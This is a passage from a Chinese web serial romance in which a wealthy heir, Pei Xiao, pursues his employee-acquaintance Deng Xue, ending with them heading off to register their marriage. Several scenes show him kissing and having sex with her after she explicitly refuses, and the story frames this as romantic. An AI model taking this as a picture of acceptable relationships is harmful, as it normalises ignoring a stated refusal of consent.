她还很小的时候,她家一个远房亲戚的女儿,就嫁给了一个富二代。
邓雪有幸跟着母亲,去参加过婚礼。
那是她第一次,受到区别对待。
他们被安排了离婚礼现场最远的桌子,上面的菜品也低了好几个档次。
富人是瞧不上穷人的。
邓雪知道,她这一辈子都不会成为富人,更不可能融入富人的圈子。
哪怕她现在可以赚很多的钱,也无法改变她是个穷人。
就算,人家没有歧视她,也足够尊重她。
她还是那个平凡的她。
挤不进的阶层,她不会强融。
那本就是不属于自己的世界。
她觉得跟这些厨师更有得聊。
裴啸走过来,问她,“怎么不过去?老在这儿蹲着干什么?”
“哦……老板在跟裴小姐聊天,我不好打扰,反正也没事,就在这儿帮着干点活,总闲着,也不好。”
邓雪说的,很理所当然。
裴啸的脸色却稍稍变了色,“她叫你来,你就是客人,哪有客人自己找活干的,这不是打主人的脸?”
“没有没有。”邓雪急忙否认,“这跟宋总没有关系,反正我也没事,我在这儿呆着,舒服些。”
“既然没事,就开车把我送回去,我喝酒了。”他把酒杯往旁边一放,扣住她的手腕往外走,“一定要把我安全送到家,邓副总。”
“裴,裴总……”
第263章 扑进了男人的胸膛
起码让她跟宋南伊说一声。
邓雪被强行塞进了驾驶室。
裴啸坐进后排,随即闭上眼睛,不知道是真睡还是假睡。
“裴总,你总得给我个地址啊。”
裴啸给她发了个位置后,又再次闭目。
邓雪点开导航,将车子开上路。
看来,今天又得跑两趟腿。
一路上,两人都没有说话。
周末的江城,车子非常多,邓雪的技术还算不错,将裴啸一路安全送到了家。
“裴总,到了。”
没人回应。
邓雪回头望过去,“裴总,到家了。”
裴啸还是没有说话。
像是睡着了。
邓雪下车后,去了后排,打开车门,轻轻地唤他,“裴总,到家了,你下车吧。”
许久。
才听到他幽幽的出声,“过来扶我一下。”
“哦。”
邓雪伸手去挽他的胳膊。
人是从车里下来了,重量全部压在她的身上。
她险些承受不住,好在她力气大,愣是靠着腰力,将裴啸的胳膊搭在自己的肩上,往里送他。
“裴总,你家在几楼啊?”
她摁了电梯。
扶着他走进去,就听到裴啸说,“十层。”
“哦。”
电梯一路上行。
这个小区的布局是一梯一户,面积最小的也得二百多平。
邓雪有个同学,嫁了个有钱的主,经常在朋友圈晒她的房子,车子。
应该就是这个小区。
“裴总,密码。”
打开门后。
她好歹是把人送到他的床上。
累得气喘吁吁。
也不胖啊,怎么这么重呢。
“裴总,那我走了。”
邓雪拍拍手,刚要转身,她的手腕就被擒住,紧接着,她被一股力,直愣愣地拽了过去。
人就那样,毫无防备地扑进了男人的胸膛。
“渴。”
他循着她的唇,吻了上去。
邓雪眼眸瞪大,对这突如其来的吻,震惊又有一些手足无措。
“裴,裴总,你是不是,想……唔……”
他想喝水,她可以给他倒。
她又不是水龙头。
她推他,又推不动,挣扎得厉害了,他摁着她的背,直接翻身把她压在了身下。
邓雪知道跟一个喝醉酒的人,无法计较这些。
但她真的不想再跟裴啸发生一次关系了。
搞的她,好像很想傍大款似的。
“裴……啸,你醉了,你现在需要休息,你放开我,我去给你倒水喝。”
他醉眼朦胧地看着她的小脸,将她的眼镜摘下来,扔到一旁,“不要以为戴个眼镜就有学问,老气横秋的。”
邓雪:……
她只不过是近视眼而已。
这也碍他事了?
“裴总……,要不,你休息一会儿吧。”
邓雪一动,就被捏住了下巴,“你……眼睛很,漂亮。”
邓雪:……
“裴总,你能不能……先放开我。”她真的感觉快被他压成泥了,“……你真的好重,我……”
“不动当然重,动了,就不重了。”
他扣住她的下巴,狠狠地去吻她的唇。
他口中的酒气,不给她任何缓冲,如数过度到了她的嘴里。
甜甜辣辣的,有一些醉人。
邓雪觉得自己疯了。
她要张嘴说话,他便趁虚而入,与之纠缠。
裴啸喝酒失去了理智,邓雪并没有。
男人通常会借着酒精,美化,甚至逃避自己做出的不合理的事情。
比如说,亲吻,上床。
可她不愿意,这样稀里糊涂的。
这算什么?
寂寞时的消遣?
就算是寂寞时的消遣,也得她有这个兴趣才是。
她……和裴啸滚床单前,她还是个黄花大闺女。
他不能仅着她一个人祸害。
“裴啸……”她用力地推他,可是怎么也推不动,“……我不想再跟你上床了……”
他的吻突然停了下来,“为什么?”
邓雪苦笑。
他竟然问她为什么?
“我又不是出来卖的,就算是卖的,也得谈好价钱,也得问我愿不愿意吧?这算什么?你想女人了,我就得配合你吗?你当我是什么?”
邓雪的声音有些颤抖。
她眼眶很红,强忍着,觉得这不是掉泪的场合。
充其量,她有委屈。
但她和裴啸没有感情,只有过一次肉体关系而已。
她需要的是尊重。
而不是想要一个名分。
“那就恋爱。”他说。
邓雪震惊。
恋爱?
她从来没有想过,跟一个矜贵的豪门公子哥恋爱。
这哪是恋爱,这跟掉火坑里有什么区别。
“裴总,不要跟我开这种玩笑,我会害怕
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的。”
“害怕?”他不是很能理解,这两个字的意思,“为什么是害怕?我**?还是我看起来,不是很好相处,还是说……你觉得我配不上你?”
“是我配不上你。”邓雪感觉两个人这样的对话,很奇怪,“裴总,我们根本就不是一个世界的人,你要配的是千金小姐,我要配的是一个跟我一样的人,不是吗?”
“谁规定的?”他蹙紧了眉心。
邓雪苦笑,“世俗就是这样的,我们这样的就是没有结果,我知道……你说的恋爱,不过就是想……你什么时候有需要,就会有一个干净,安分的女人,可以满足你,裴啸,我不是个合适的人选。”
裴啸舔了下掺着她气息的唇。
笑了。
女人的脑子里,永远在脑补很多莫须有的东西。
好像谁也不是例外。
“谈个恋爱,各取所需,有必要想那么多吗?你满足我,我没有满足你吗?邓雪,你不吃亏的。”
邓雪瞪大眼睛。
他在说什么。
什么叫他满足她。
她又不是**。
她一个人清心寡欲的过了这么多年,又不是非得要男人的。
“那我直接拒绝你行吗?我不想跟你恋爱。”
他眼底的笑意更深,“不行。”
邓雪:……不行?
他凭什么说不行?
“我们试试。”他说。
邓雪一点想法都没有,“我们根本就不用试,让宋总发现我……,真的裴总,你饶了我吧,我只想好好工作,我只想好好赚钱,我真的一点……恋爱的想法都没有。”
“现在可以有了。”他握着她的腰,将她带到了自己的身上。
姿势有些一些羞耻,邓雪的脸,漫上番茄般的红,“干嘛呀这是,能不能放尊重一点。”
他一只手臂枕在自己的脑袋下面,一只手,紧紧地握着她的腰。
像一个把玩世界的王者,就这么笑意盈盈地看着她,“你放心,这次……有套。”
有套又是什么鬼?
谁说有套,就要跟他做什么了?
“裴啸,你是不是没听懂我的话?我的意思是,唔……”
他用唇堵住了她的聒噪。
他不喜欢,她一成不变的职业装,将自己包裹成一个粽子。
他更不喜欢她戴着眼镜,把自己打扮得跟个老处女似的。
他要的是她释放自己。
第264章 开放的男女关系
大汗淋漓。
她释放。
邓雪觉得自己是彻底疯了。
一次是意外。
这次……算是半推半就。
她对男女之事,本来就……没有多少经验,更没有多少向往。
但她又不否认,裴啸带给她的体验是前所未有的。
她没有过别的男人。
但她不是小姑娘,她知道这意味着什么。
他总以让她沉迷。
她摇头,不行,这样不行,她会走向深渊。
邓雪默默抓起衣服,想洗个澡,就赶紧离开。
身子一动,就被男人搂进了怀里,“明天有时间吗?”
“干……嘛?”
他笑着,“怎么,没满足你,还想要?”
邓雪赤红着脸,“我不是这个意思,我是说,你有什么事情吗?”
“带你买衣服,你要……换换你的风格。”他指尖勾起她的一缕头发,轻轻的卷到手指上,“年纪轻轻的,穿的死气沉沉的。”
“不,不用。”
她觉得那些太漂亮的衣服,不适合她,“还,还有别的事情吗?”
“没有。”
“哦,那我去洗澡。”
邓雪去了洗手间。
她的手机在桌上震动了一下。
一条信息。
“小雪,我回来了,明天见个面,好吗?”
不用猜,就知道是个男人发的。
裴啸看着屏幕上的手机内容,点了根烟,递到唇上吸着。
青梅竹马?
年少初恋?
不管是哪一种,都没有发展到更亲密的关系。
他是过来人,他太知道,这种朦胧的情感,最是要人命。
手机那头,一直没有等到回信。
又发了一条过来,“小雪,我订了你最爱吃的那家,也是我们以前最常去的那家餐馆,明天,我去接你好吗?”
裴啸眉心蹙起。
他咂摸着这段话……大学同学?
差不离。
成年后的爱恋,那可不是轻易就能忘掉的。
他将手机扣到桌面上。
淡然地将烟吸完。
邓雪洗完澡,换好了自己的衣服,一丝不苟地从浴室里出来。
“没事,我就先回去了。”
她揪了揪裙角,不敢看他。
两个人这算什么呢?
算了。
就当是一时冲动吧。
“明天你有事?”他问。
邓雪懵了一下,“什么?”
“带你去买衣服。”他又重复了一遍。
邓雪依然还是拒绝,“明,明天有事,不去了,谢谢你的好意。”
她小碎步来到大床前,将自己的手机收起来,“我就先走了。”
她像个小偷,逃似的离开了裴啸的家。
出来打车时候,她才发现,自己的眼镜,忘在裴啸的家里了。
拍了拍脑袋,真是太大意了。
打了车往回走。
她空洞着望着,这个城市的灯红酒绿,心情复杂到,不能用彷徨来形容。
有一次,就有了第二次。
第三次,第四次,还会远吗?
除非……除非裴啸有了正牌女朋友,他应该才不会找她。
邓雪捶了捶自己的脑袋。
她真的是……一步错,步步错。
虽然现在这个时代,对于男女关系来说,并没有那么守旧,可她是个女人,还是一个从很小,很保守的地方来的女人。
她的思想,还有开放到,可以接受,开放的男女关系。
真是要了命了。
手机响了一声。
她才收回思绪,看向信息。
“小雪,有收到我的信息吗?”
点击屏幕,进入到聊天页面,之前他已经发过了几条信息。
发信人叫纪胜川。
她的大学同学,是她情窦初开,喜欢上的第一个男孩。
那时的纪胜川算是班草。
他爱笑爱闹,爱交际,很多女孩喜欢他。
而自己很沉闷,家庭穷,每天想得更多的兼职打工,赚学费和生活费。
爱情这种东西,她只会埋进心里。
后来,也不知道是谁,把她暗恋纪胜川的事情,告诉了他。
在他经历过很多段的恋爱后,他终于是肯看自己一眼了。
她没有跟纪胜川确立恋爱关系。
比朋友近一些,就这样相处着。
后来,他就去了别的城市,他们也就再也没有联系。
邓雪也不知道,他怎么突然给自己发信息,还发的这么暧昧,怪怪的。
信息,她没回。
满脑子想的还是裴啸。
她很不能理解,裴啸是怎么会跟她这种人上床的。
以他的条件,随便招招手,有的是名门淑女,上赶着跟他开始一段正常的关系。
是因为自己……不值钱吗?
邓雪苦笑。
确实,自己挺不值钱的。
回到家后。<
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br>她有些魂不守舍。
母亲给她倒了杯热水,问她今天的情况,“你们老板,对你的表现还满意吧?”
“我们老板事少,对我没要求。”邓雪往沙发一躺,“妈,你说,我这个年纪了,要不要试着交个男朋友?”
“你终于肯交男朋友了?”母亲惊喜,随手就拿出一沓男孩的照片,“小雪,不瞒你说,我最近也在给你挑着呢,要不,你看看这些,要是有中意的,咱们就见个面看看,万一有合眼的呢?”
邓雪诧然。
但也欣然接受了,母亲的操劳。
“行吧,我看看。”
邓雪翻看着照片,母亲就在旁边给她介绍情况。
“这个是AI工程师,比你大一岁,有事业心,长得也可以。”
“这个是超市的区域经理,平时比较忙,但他父母的负担轻,还是独生子。”
“这个呢,是大学老师,不过还没转正,比你小两岁,小伙子很帅。”
“还有这个呢……”
邓雪看得实在是无聊。
一个合眼的都没有。
将照片往桌上一扔,一副厌世的模样,“妈,你说,我是不是错过最佳婚恋年龄了,可我现在也不大啊,为什么有人说我……老气横秋的?”
“老气横秋,那是说你穿着,又不是你这个人。”母亲将照片收起来,“小雪,你就没一个看好的?”
“妈,你再挑挑吧,我觉得这些……一般。”
“行吧,妈再挑挑好的。”
这时门铃响了。
母亲起身去开口,邓雪忙不迭地提醒她,“如果是邓刚,就别开门。”
“妈知道。”
门打开。
是纪胜川。
他脸上带着微笑,将名贵的礼品,递进来,“阿姨,好久没有来看望你了,一点小小的礼品,还希望你笑纳。”
邓雪的母亲,对这个人没有印象。
回身问向邓雪,“小雪,好像是有人找你。”
邓雪刚从沙发上起身,就听到了纪胜川的声音,“小雪,我是胜川啊。”
“你……怎么来我家了?”本着待客之道,没有把人往外赶的道理,便请了进来,“……你跑到我家里来,是有什么事情吗?”
已经几年不联系。
突然登堂**。
邓雪心存疑惑。
纪胜川态度温和又热情,“我刚回江城,就是想着先来看看你。”
第265章 被她喜欢是耻辱
邓雪有点尴尬。
好像他们两个有多熟似的。
“你不用这么客气。”
“前段时间,咱们班同学聚会,大家提起你,都对你赞赏有加,说你是咱们班最有出息的了。”
邓雪更尴尬了。
这是夸她呢,还是骂她呢。
“怎么会,我就是一个打工的,你们一个个的都当老板了。”
纪胜川笑笑,“大家对你的情况都比较了解,原来都不看好你,你现在也算是出人头地了,所以大家才觉得你……挺有上进心的。”
邓雪现在肯定了。
纪胜川这是在骂她。
不。
准确地说,原来大家都瞧不起她。
认为她又穷又丑又挫,将来也是个下等人。
看到她混出个人样。
反倒觉得是个笑话了。
邓雪脸色也不好看起来,“我还得你们看好?人活着,不就是为了五斗米折腰吗?我还有妈要养,不像你们,就算是创业失败了,也有托底的,我不一样,不努力不行啊。”
纪胜川听出邓雪的语气,有一些不快。
忙解释,“小雪,你误会了,其实,大家是觉得,你的精神值得学习。”
她以前怎么没觉得这个纪胜川这么讨厌。
也许,他一直就是这样的人。
只是因为上大学时,她对他有滤镜,自己像个闷葫芦,唯一的存在感就是穷,别人说的不好听的太多了,她**以为常了。
多年过去。
她倒是听的这些不顺耳了。
“不然呢?我不努力,就一直当个穷鬼?”
“小雪,我不是这个意思。”纪胜川发慌,他来的目的,不是惹邓雪生气,“怪我,说话没注意,你别生气,我今天这来是……我给你发的信息,你有收到吗?我是想请你吃个饭的。”
“明天没空。”
有空,她也不去。
纪胜川道歉,“对不起啊小雪,我真没有别的意思,可能是我表达的方式,令你误会了,我道歉,你别跟我生气。”
“胜川,我们都长大了,不是二十出头的孩子了,每个人都要为了自己而努力,你可能不理解……你觉得我玻璃心也好,敏感也罢,都没有关系,我一直在努力是真的,没事你就回去吧,这么晚了,我妈也要休息了。”
纪胜川尴尬起身。
被赶不是什么光彩的事情,但他还是挤了抹礼貌的笑,“那……阿姨,我就先回去了,改天再来看您。”
送走纪胜川。
邓母说了邓雪两句,“你也真是的,上门就是客人,何必不给人留脸面?咱们家以前就是穷啊,穷还不让人说了?”
“他不是说我们穷,他是觉得我们这么穷,为什么要拼,就像个笑话,在他们这种人眼里,实际上是看不上我这种人的……”
不想说了。
说的越多越烦。
“小雪……”邓母知道以前邓雪吃了很多苦,没想到会给她留下这么大的阴影,“……要是妈妈以前再辛苦一点,多给你一些生活费,你也不至于在大学时过的那么累,都怪妈。”
“都过去了,这不是也挺过来了。”邓雪催促母亲去休息,“好了,妈赶紧去睡吧。”
“那你也早点休息。”
“嗯。”
邓雪吐息。
高考那年。
突然从一个小地方,以优异的成绩,考到了大城市,她起初是开心的。
她认为,那是她崭新的起点。
可她很快就发现了,她在这样的好大学里,就是一个异类。
没有智能手机,生活费少得可怜,连像样的衣服也没有。
同学们有的染了新潮的发色,而她扎头发的皮筋,也没有几根。
她们穿的,用的,甚至手机的型号,都是她没有见过的。
那时的她,很自卑的。
她喜欢纪胜川,也只敢埋在心里。
那个透露出她喜欢纪胜川这事的同学,应该是为了让她出糗。
毕竟,她这种丑小鸭,喜欢谁,谁就会成为被耻笑的对象。
那不是一段美好的回忆。
也是她为什么要拼命工作,让自己生活越来越好的原因。
没有人会一直生活在底层,除非她喜欢。
而她……并不喜欢,那种被人踩在脚底,嗤笑的日子。
邓雪头疼。
回房后,翻来覆去的睡不着。
她想到裴啸。
她想遍了所有的可能,给了自己无数的自信和理由,她都没有找到,她和裴啸能发展一段感情的,支撑。
一个高高在上的豪门公子哥。
有家世,有背景,有很好的能力和阅历。
一个普通的打工人,长得不算很漂亮,身材也好不到哪里去。
充其量,有一些吃苦耐劳的精神。
这不算是什么优点。
所以……
这样的两个人,这样的组合,老天爷看了都会发笑。
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>怎么会因为睡了几次,就会有将来呢?
睡吧。
睡一觉,脑子就会清醒。
不会胡思乱想了。
……
休息日。
邓雪早并没有起床。
很久了,她没有睡过懒觉,想借着这几天的假,好好的把觉补够。
门铃响。
邓母去开门。
看到陌生的男人,她上下打量了一番,“你找谁啊?”
“你好阿姨,我找邓雪。”裴啸很礼貌,穿得又矜贵,邓母心里有点打鼓,“你是我们家小雪的……客户吗?”
“不是,我是她……朋友。”
邓母嘀咕,朋友?
什么时候交的这样的朋友,这怎么看,也不像是一个世界的人啊。
“哦,她……还在睡觉,要不,你先进来等一下?”
裴啸微笑,微微颔首,“好,麻烦阿姨帮我叫一下。”
“我这就去叫她。”
房子不大。
小两室,最多八十平,但收拾的很干净,也很有家的气息。
厨房里热气腾腾的。
有面条的香气。
邓母敲了女儿的门,进去,“小雪,有人来找你,赶紧的。”
“妈,你帮我打发了,我困着呢,你让我多睡一会儿。”邓雪翻了个身,继续睡。
邓母无奈。
只好关了门出来。
“先生,你贵姓啊?”邓母对裴啸有一定的距离感,“我们家小雪……怎么……我是说,你看起来……跟她……”
邓母笑笑,没再说下去。
裴啸也跟着微笑了一下,“我叫裴啸,阿姨。”
“裴先生……”
厨房里的面条沸了锅。
邓母赶紧跑了过去,“裴先生,吃过早餐了吗?我下了面条,你要不要来一碗?”
“这样,会不会不太礼貌?”
邓母先给裴啸盛了一碗,端出来,“这有什么不礼貌的,一碗面而已,你要是爱吃啊,我还高兴呢。”
“谢谢阿姨。”裴啸接过面条。
泼了葱油,很香。
“来吃这个,这是阿姨自己腌的小咸菜,小雪就爱吃这个。”
邓母把小咸菜,放到了裴啸的面前。
“谢谢阿姨。”
“别客气,赶紧趁热吃,不够锅里还有。”
二人说话的功夫。
邓雪顶着鸡窝头,走了出来。
她睡意惺忪,以为自己看花了眼,裴啸怎么会在自己家里吃面条啊?
第266章 苦苦争取和挽留
“小雪,你朋友过来找你,等了一会儿了,你赶紧的去洗把脸。”邓母语气温和。
邓雪不确定地又看了裴啸一眼。
是她睡糊涂了,看错人了。
还是……
她抓了抓头发,转身去了洗手间。
一边刷牙,一边还在想,裴啸突然来她家干什么?
他们的关系,并没有到登堂**的地步。
工作上的事情吗?
可她今天休息,不想处理业务。
洗漱完后。
邓雪一身睡衣,从洗手间里走出来,坐到了餐桌前。
邓母给她端上一碗面条,“赶紧的吃早餐。”
“知道了。”
邓雪没说话。
也没多少胃口。
邓母去了厨房,她便问向裴啸,“你来找我……有什么事情吗?”
“健忘症?”他淡淡。
邓雪:“啊?”
“昨天不是跟你说了,要去买衣服。”
邓雪:……
嫌她寒酸?
她又不是他女朋友,干嘛要对她的穿着有要求?
“不用了,我对穿着上不讲究。”邓雪低头吃面条。
裴啸放下筷子,“不用你自己花钱,我给你买。”
“你为啥要给我买衣服?”邓雪抬眸看向他,“补偿吗?大可不必,男女之事……,不算你单方面占便宜,你不必补偿。”
“恋爱。”他说。
邓雪懵:“什么恋爱?”
“我们恋爱。”
邓雪想都没想地拒绝,“我们不合适。”
“哪里不合适,昨天晚上,你在我怀里不是叫得很……”他话没说完,就**雪气急败坏的,捂住了嘴。
她脸上漫上不自然的红。
往厨房里看了一眼,“你说话能不能注意一点,让我妈听到。”
“成年男女,床上的事情,没什么可羞耻的。”他很自然,面色平静。
邓雪无语,“不羞耻,也不能当着父母的面说这些吧?你会当着你的父母,说你和女人床上是什么动作吗?裴啸,这是我家,你就不能对我有一点点的尊重吗?”
“我以为你不在乎。”
“你哪只眼睛,看到我不在乎了?”
裴啸轻笑,“如果你在乎这些,为什么不接受,我的提议,跟我恋爱。”
“我们压根就不是一个世界的人……”不是一个世界的人,根本就没必要开始一段恋爱,“……最后,我们也不可能有结果,浪费这个时间和精力干什么?”
最后,搞得两个人见面尴尬,对工作也是有影响的。
为了打消裴啸这样的念头。
邓雪又放下筷子,淡淡地说,“其实,我妈正在给我安排相亲,一些……条件跟我差不多的,我正在挑,要是有合适的,我会去见个面,裴总你……也明白我的意思吧?”
裴啸面色依旧没什么改变。
只是淡得不能再淡的,点了下头,“反正都要相亲了,算我一个。”
“那不能,我的相亲对象里,不可能有你这样的人物,我配不上。”
这是她内心最直接的想法。
豪门都要联姻的。
就比如说裴啸的妹妹裴吟,不已经联姻两次了。
他能逃得了吗?
不,他逃不了,所以这场恋爱,从一开始就注定会无疾而终。
到时,他抽身离开,组建家庭。
她一个人,狼狈退出,舔舐伤口。
那何必要开始呢。
“好了,裴总,你先回去吧,我好不容易休息几天,我想去睡个回笼觉。”
裴啸看着她。
眉眼深沉。
起身,“那你睡,改天见。”
裴啸毫无纠缠地离开。
看吧。
他跟那些普通人还不一样的,容不得别人拒绝,也不会苦苦争取和挽留。
说是想恋爱。
不过就是想身边,多一个照顾他,陪伴他的女人。
这个女人,是谁都可以,不见得非得是她。
邓雪时常在想。
如果,那天不是她被拽进他的房间。
她和裴啸永远只会是工作关系。
他是不可能,对她这种人,有什么所谓的……好感。
邓母从厨房时出来。
看到裴啸已经离开,好奇问女儿,“这个男的,看起来好优秀的样子,小雪,他是不是你在交往的对象?”
“当然不是。”邓雪觉得妈妈有时候,也爱做梦,“妈,我们家的条件呢,是配不起人家的,你别想太多了,你女儿我,就算找老公,也跟人家差着十万八千里呢。”
邓母觉得可惜。
谁说她的女儿,就不能嫁有钱人了,“小雪,你也不差,就是不爱打扮,你看你,皮肤也很白,眼睛也很漂亮,就是老戴上黑框眼镜,显得过于成熟,妈觉得你真的很好看。”
“妈,那庄稼还是看自己的好呢,何况是自己的女儿,你看我好
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,不代表别人看我都好。”她起身打着哈欠往卧室里走,“我要睡个回笼觉了,中午别叫我吃饭了。”
“你这孩子……”
邓母摇头,开始收拾桌子。
差不多两个小时后。
邓雪家的门,再次被敲响。
邓母看到门前,站着一堆陌生的人,还拎着那么多的购物袋,一下就懵了。
“你们……找谁啊?”
“阿姨,我们是香家的柜员,这些衣服呢,是一位姓裴的先生,委托我们送过来的,单已经买了,还请让我们进去,把东西放下。”
邓母还没等说同意。
人已经呼呼啦啦地涌进了家里。
很快,放下东西,人又一溜烟地走了。
邓母看着地上,桌上,沙发上,这么多的购物袋子,只好去把邓雪再次叫醒。
“小雪,裴先生给你买了好多衣服,你要不要……”
邓雪蹭的一下,从床上坐起来,“衣服?他给我买衣服了?还送到家里来了?”
她拍额头。
掀起被子下床。
毫不夸张地说。
这像是把一家店买空了吧?
有钱人,花钱这么不在乎的吗?
购物袋上,写的全是香家的品牌LOGO。
“小雪,这位裴先生,是不是对你有意思呀?他有没有家事啊?你可别给别人当小三啊,这没底线的事情,咱们可不干。”
邓母一脸忧虑。
邓雪头大。
“他没老婆孩子,就是……,看来,我还得再跑一趟,将东西还回去。”
“这位裴先生送你这么多的衣服,是不是想追求你啊?我看他人长得还真不错,个头又高,干干净净的,你就没有……”
邓雪打断母亲的话,“妈,我不是说过了,我们不是一路人,恋爱好谈啊,但恋爱的目的是什么呢?一辈子都做他的女朋友?等他结婚了,再当他一辈子的小三?你希望我是这样的吗?”
邓母被问住了。
她自然是不想女儿,有什么见不得人的身份。
“可他既然没有结婚,你们恋爱……应该会结婚的吧?”
邓雪笑母亲太单纯,“当然不会啊,他的联姻对象我见过了,一个很漂亮的千金大小姐,他们是家族联姻,因为利益捆绑在一起,一定会结婚的,而他跟她……只想谈个恋爱,这个恋爱,可能是一个月,或是半年什么的,到时,我就被抛弃了。”
第267章 领证
邓母听女儿说的,好像也有道理,便点头道,“那咱们可不干这事,不跟他恋爱,东西给他退回去好了。”
邓雪往车里搬了三趟。
这才将这些衣服,全部装进自己还算不小的车里。
路上。
她给裴啸打了个电话。
他说他在家。
她便直接开车过去了。
她并没有先敲门。
而是又花了三遍的时间,将衣服,全部搬到了裴啸的家门口后,才摁的门铃。
裴啸开门。
看到这些大大小小的精品袋,眉心皱得像座山。
“什么意思?”
“把东西还你啊。”还能有什么意思。
邓雪指着地上袋子说,“你看,我帮你拿进去,还是你自己拿?”
“你什么意思邓雪?”裴啸眼中有不悦,语气透出一些厉色,“我送出的东西,还没有收回来的道理。”
“那怎么办呢?要不,我帮你退回去?”
她是真心这样想的。
但这话在裴啸听来,简直就是对他的极大挑衅。
他扣住邓雪的手腕,将人拽进屋里,重重地压在了门板上。
“瞧不上?”
邓雪摇头,“不是瞧不上,是没有理由收。”
“我说了,要跟你恋爱。”
邓雪嗤笑,“那我同意了吗?裴总这样自作主张,好像不太好吧。”
“说条件吧。”
“什么条件?”她满脸的不解,“裴总,我不明白,你为什么非要跟我恋爱呢?我又不是什么优秀的女人,也不是漂亮的倾国倾城,我这种人给你们有钱人,提鞋都不配,你干嘛非要跟恋爱呢?难道,仅仅是因为,我这种人在甩的时候,不会给你带去负担,更好处理一些吗?”
裴啸的眉心越蹙越紧。
拧的心烦。
在她心里,他就是这种人?
“还没恋爱,就想自己被分手,邓小姐,是不是想太多了一点。”
邓雪苦笑,“这些早晚会发生啊。”
“谁告诉你,早晚会发生的?”搞得好像她多么了解他似的。
邓雪抬眸,望进他的眼底,“你能给我承诺什么?裴啸,你是要联姻的,难不成,你回家告诉你爸妈,说你要娶一个丑小鸭?”
“谁说你丑了?你就是打扮的丑。”
邓雪:……我谢谢你啊。
“反正,你也给不了我承诺,我也不想谈这样的恋爱。”她这样说,裴啸一定会认为她是个有所图的女人,正好,可以不必勉强,“就这样吧。”
“你想要什么承诺?结婚?”
邓雪急忙摆手,她可没这么大的胃口,“裴总,我们并不熟悉,我怎么可能会想要跟你结婚呢?”
恋爱都不想谈。
结婚……天方夜谭。
裴啸握住了她的手腕,将她重重地往身前一带。
“你说来说去,不就是想要一个长久吗?”
他似乎生气了。
邓雪眼眸颤动。
是不是男人,都不允许女人要,他不想给的所有东西。
会冒犯,会市侩,会贪婪。
她摇头,“我没有想要一个长久,裴啸,我们之间压根就没有关系,我没有向你要任何东西的资格,你想跟我恋爱,可我不想也不行吗?你不要曲解我的意思。”
“不想吗?”他声音压迫。
邓雪依然是坚定的否决。
她从来没有想过,从他身上得到任何。
钱,或是资源,她都不需要。
退一万步,就算他想给,她觉得,她也无福消受。
“不想。”
“你是觉得我想跟你玩感情游戏?”
邓雪不否认地点头,“是。”
“所以,你拒绝我的求爱。”
求爱这个词,过于暧昧。
邓雪觉得不适合,用在二人之间,“我只能说,我根本不配,得到裴总你的青睐。”
“那如果我说,我不是想跟你玩感情游戏,我们如果相处得够好,我们可以结婚。”
邓雪愕然。
结婚?
她可没那么高的理想。
要跟他最后结婚,就像是升级打怪,显然,她不是这样的好手。
“我没有这样的能力,可以让裴总放弃家族荣耀,来跟我一个乡下土包子,修成正果,裴总,其实我知道……”
邓雪深呼吸,“……其实我知道,你还在因为那次意外,想做一些补偿给我,OK,我接受你的补偿,我可以把你买的这些衣服,都带回去,算我们两清,你也不必把那事放进心里了。”
裴啸看着她。
他这个人,不喜欢强娶豪夺。
邓雪或许不是最适合他的女人。
却是相处最舒服的一
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个。
他喜欢这份舒服和放松,他也认为,婚姻中,舒服是一段健康的关系。
“邓雪,我问你。”他声音暗哑。
透着某些严重的信息。
邓雪的心,跟着紧了一下,“你,你说。”
“喜欢我吗?”他眸子紧紧地锁在她的小脸上,“我要听实话。”
邓雪不敢回答。
她试图通过目光转移,来回避这种,无法回答的问题。
但被他捏住下巴,又将小脸,掰了回来,“我要听到认真的,真实的回答。”
“那我说了,无论是什么样的答案,你就会放我走吗?”
裴啸点头,“你说。”
邓雪咽了咽。
她不否认裴啸是一个很优秀的男人。
无论是哪方面,都是她可望而不可即的。
正因为这样,她才觉得,她和他是隔着山海的距离,他可以配一个更好,更优秀的爱人。
而不是她这种小丑。
“说实在的,裴啸,我对你有敬重,有仰慕,当然……我也不否认,我对你的好感,但我们是不同的人啊,如果你只是一个小经理,而不是一个家族的继承人,我相信,我一定会义无反顾地……”
可惜他不是。
所以,他们两个压根就不可能在一起。
“你喜欢我的对吗?”裴啸的呼吸变得急促,大手握着她的腰,将她抱了起来,“喜欢,就没有什么可以阻隔的。”
他抱着她,走向卧室。
邓雪吓得尖叫,“不是的,我不是这个意思,我的意思是……我们……唔……裴……唔唔……”
她的唇,被毫不留情的堵上。
情事激烈,荡气回肠。
他要了两次,收工。
拉开抽屉拿了自己的身份证,“走,去领证。”
“领,领证?”邓雪抓着被角,看向裴啸,觉得他是疯了,“你,你,别冲动啊,这可不是小事,我,我们……父母……不是,我……不能跟你领证。”
“那要跟谁领?你不是说喜欢我吗?刚好,我也喜欢你,这不是顺理成章的事情?”
他反问她。
邓雪吱唔着,拼命摇头拒绝,“不,不,不是这样的,上床不代表着就要……,裴啸,结婚不是小事,你问过你父母的意见了吗?你一定是昏了头了,一定是。”
第268章 傍上大款了
“我自己的事情,我自己做主。”他扯了块浴巾围在腰上。
将她送上门来的衣服,挑了一件适合她,“穿衣服,我们现在就去民政局。”
“裴啸,你来真的?”
“不然?你以为我跟你开玩笑的,你以为我恋爱就是为了给自己找一个性伙伴?邓雪,亏你还是知名大学的高才生。”
邓雪慌了。
这事是不难理解。
但,没必要结婚吧?
“不行,裴啸,我不能跟你结婚。”
“由不得你。”他将衣服拿出来,放一到她面前,“要不,我帮你穿?”
“不是的,你听我说。”她一手抓着被角,一手抓着他的胳膊,“我们年纪都不小了,不要做冲动令自己后悔的事情,我配不上你的,我……真的不行。”
“我喜欢你,你就配得上。”他捧着她的小脸,极为认真地说,“我没跟你开玩笑,先领证,后面的事情,我会慢慢解决。”
邓雪犹豫了。
她真的没有想到,自己一个不婚主义者,怎么突然就傍上大款了。
这合理吗?
“我……真的很怕……”
“怕会限制你的行动力,你现在需要赶紧起床,换好衣服,化个美美的妆,咱们去民政局。”
邓雪一辈子都没有勇敢过一次。
这次……要不,……她就勇敢一次。
如果输了就输了,大不了再离婚。
如果赢了,那她是不是就赚了?
要不。
赌一次?
反正,她又不吃亏。
本来她就是打算不结婚的,结一次,离一次,或是结二次,离两次,或是以后永远不结了,对她来说,都是一样的结局。
邓雪磨磨蹭蹭的,终于是说服了自己。
她换上了裴啸给她买的衣服,摘掉了眼镜,化了个淡妆,感觉跟工作的时候,判若两人。
“挺好的。”
他握起她的手。
一起出了门。
去民政局的路上,邓雪的心情紧张的,呼吸都变得急促和不安。
就像做梦。
思来想去的,她把最坏的结婚都想到了。
那就是离婚。
